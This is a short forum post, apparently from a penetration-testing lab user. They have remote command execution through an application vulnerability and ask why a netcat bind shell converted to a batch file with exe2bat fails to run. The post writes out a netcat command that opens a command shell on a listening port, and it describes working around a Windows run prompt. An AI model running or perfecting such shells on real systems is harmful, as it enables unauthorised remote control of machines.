I need to run a netcat on a remote lab machine. I can execute remote commands through the browser with Administrator rights (because of the application vulnerability) but I don't have access to the machine itself.
I uploaded nc.exe
on a remote server but it doesn't work, most likely due to Windows asking the if it's OK to run unknown software, but there is no one to click "Allow".
So I tried to use exe2bat
software, but I think I did something wrong when I did the conversion.
This command that should be working for me: nc.exe -lvp 7777 -e cmd.exe
Conversion: exe2bat nc.exe nc.bat
Execution: nc.bat -lvp 7777 -e cmd.exe
Can you advise why it doesn't work for me or what I am doing wrong, or if there any other better exe to bat converter?